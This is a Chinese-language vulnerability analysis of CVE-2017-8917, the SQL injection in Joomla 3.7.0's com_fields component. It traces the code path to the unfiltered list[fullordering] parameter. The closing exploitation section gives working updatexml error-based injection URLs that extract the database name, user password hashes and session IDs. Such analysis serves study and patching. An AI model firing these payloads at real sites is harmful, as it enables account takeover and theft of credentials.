Joomla3.7.0 SQL注入

漏洞版本: Joomla! 3.7.0
测试版本: Joomla! 3.7.0
CVE: CVE-2017-8917

漏洞描述

Joomla3.7.0新引入插件”com_fields”,这个组件可任意访问,由于对数据过滤不严导致SQL注入。

漏洞分析

\joomla370\components\com_fields\controller.php文件中类FieldsController

1
2
3
4
5
6
7
8
9
10
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
{
// Load the backend language file.
$lang = JFactory::getLanguage();

$lang->load('com_fields', JPATH_ADMINISTRATOR); //joomla370\administrator

$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR; //D:\phpStudy\WWW\joomla370\administrator/components/com_fields
}
parent::__construct($config); //D:\phpStudy\WWW\joomla370\libraries\legacy\controller\legacy.php

调用父类parent::construct(),跟踪文件joomla370\libraries\legacy\controller\legacy.php中父类JControllerLegacy,依次调用getInstance、construct,定义一些路径信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
foreach ($rMethods as $rMethod)
{
$mName = $rMethod->getName(); //string(11) "__construct"

// Add default display method if not explicitly declared.
if (!in_array($mName, $xMethods) || $mName == 'display')
{
$this->methods[] = strtolower($mName);

// Auto register the methods as tasks.
$this->taskMap[strtolower($mName)] = $mName; //array(1) { ["display"]=> string(7) "display" }

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __construct($config = array())
{
....
// Set the default model search path
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);

}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix); //D:\phpStudy\WWW\joomla370\administrator/components/com_fields/models

}

调用display方法,创建model

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType(); //string(4) "html"
$viewName = $this->input->get('view', $this->default_view);//$this->default_view = fields,string(6) "fields"
$viewLayout = $this->input->get('layout', 'default', 'string'); //string(5) "modal"
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
.....
else
{
$view->display();
}

getview取得视图,getmodel->setmodel实例化,最后$view->display,调用\joomla370\administrator\components\com_fields\views\fields\view.html.php中类FieldsViewFields的display方法。

1
2
3
4
5
6
7
8
public function display($tpl = null)
{
$this->state = $this->get('State'); //object(JObject) D:\phpStudy\WWW\joomla370\libraries\legacy\view\legacy.php
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
.....

调用joomla370\libraries\legacy\view\legacy.php中JViewLegacyget方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function get($property, $default = null)	//string(5) "State"
{
// If $model is null we use the default model
if (is_null($default))
{
$model = $this->_defaultModel; //string(6) "fields"

}
else
{
$model = strtolower($default); //string(6) "fields"
}

// First check to make sure the model requested exists
if (isset($this->_models[$model])) //object(FieldsModelFields)
{
// Model exists, let's build the method name
$method = 'get' . ucfirst($property); //string(8) "getState"

// Does the method exist?
if (method_exists($this->_models[$model], $method))
{

// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method(); //调用getState D:\phpStudy\WWW\joomla370\libraries\legacy\model\legacy.php

return $result;
}
}

$result=$this->_model[$model]->$method(),调用\joomla370\libraries\legacy\model\legacy.php中类JModelLegacy的getState方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getState($property = null, $default = null)
{

if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState(); //D:\phpStudy\WWW\joomla370\administrator\components\com_fields\models\fields.php

// Set the model state set flag to true.
$this->__state_set = true;
}

return $property === null ? $this->state : $this->state->get($property, $default);
}

调用\joomla370\administrator\components\com_fields\models\fields.php中类FieldsModelFields的populateState方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function populateState($ordering = null, $direction = null)
{

// List state information.
parent::populateState('a.ordering', 'asc'); //D:\phpStudy\WWW\joomla370\libraries\legacy\model\list.php

$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);

// Split context into component and optional section
$parts = FieldsHelper::extract($context);

if ($parts)
{
$this->setState('filter.component', $parts[0]);
$this->setState('filter.section', $parts[1]);
}
}

又调用父类parent::populateState,跟踪文件\joomla370\libraries\legacy\model\list.php中JModelList类的populateState方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
protected function populateState($ordering = null, $direction = null)
{
// If the context is set, assume that stateful lists are used.
if ($this->context) //string(17) "com_fields.fields"
{
$app = JFactory::getApplication(); //object(JApplicationSite)
$inputFilter = JFilterInput::getInstance(); //object(JFilterInput)

// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
//com_fields.fields.filter string(19) "com_content.article"
{
foreach ($filters as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->filterBlacklist))
{
$this->setState('filter.' . $name, $value);
}
}
}

$limit = 0;

// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
//array(1) { ["fullordering"]=> string(38) "updatexml(1,concat(0x3e,database()),0)" }
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);

if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);

if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}

unset($orderingParts[count($orderingParts) - 1]);

// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);

if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
......

调用D:\phpStudy\WWW\joomla370\libraries\cms\application\cms.php中类JApplicationCms的getUserStateFromRequest方法,getUserStateFromRequest注册变量,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getUserStateFromRequest($key, $request, $default = null, $type = 'none')
{
$cur_state = $this->getUserState($key, $default);
$new_state = $this->input->get($request, null, $type);

if ($new_state === null)
{
return $cur_state;
}

// Save the new value only if it was set in this request.
$this->setUserState($key, $new_state);

return $new_state;
}

调用getUserState方法,

1
2
3
4
5
6
7
8
9
10
11
12
public function getUserState($key, $default = null)
{
$session = JFactory::getSession();
$registry = $session->get('registry');

if (!is_null($registry))
{
return $registry->get($key, $default);
}

return $default;
}

$session = JFactory::getSession(),调用\joomla370\libraries\joomla\factory.php中类JFactory的getSession方法,和createSession方法。注册session,$registry注册返回list。通过getUserStateFromRequest,取list值给$list,遍历$list设置list.fullfullordering

取出list.fullfullordering.

1
2
3
4
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');

调用\joomla370\libraries\legacy\model\list.php中getItems方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId(); //string(32) "fe326c1160d8d4a2ea5c1debd8dd5ef2"

// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}

try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}
catch (RuntimeException $e)
{
$this->setError($e->getMessage());

return false;
}

return $this->cache[$store];
}

跟踪_getListQuery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function _getListQuery()	//D:\phpStudy\WWW\joomla370\administrator\components\com_fields\models\fields.php
{
// Capture the last store id used.
static $lastStoreId;

// Compute the current store id.
$currentStoreId = $this->getStoreId();

// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}

return $this->query;
}

\joomla370\administrator\components\com_fields\models\fields.php跟踪getListQuery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$user = JFactory::getUser();
$app = JFactory::getApplication();
......
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';

if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}

$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

return $query;
}

拼接sql语句,order处调用list.fufuordering,带入order中造成注入。

漏洞利用

查询数据库
http://127.0.0.1/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,database()),0)

查询用户
http://127.0.0.1/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(select%20concat(username,0x3a,password)%20from%20joomla370.y5s3b_users)),0)

查询密码,报错长度限制,分两次查询
http://127.0.0.1/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(select%20left(password,30)%20from%20joomla370.y5s3b_users)),0)
http://127.0.0.1/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(select%20right(password,30)%20from%20joomla370.y5s3b_users)),0)
查询登录session
http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,(select session_id from joomla370.y5s3b_session where username in (select username from joomla370.y5s3b_users))),1)

漏洞修复

升级joomla最新版。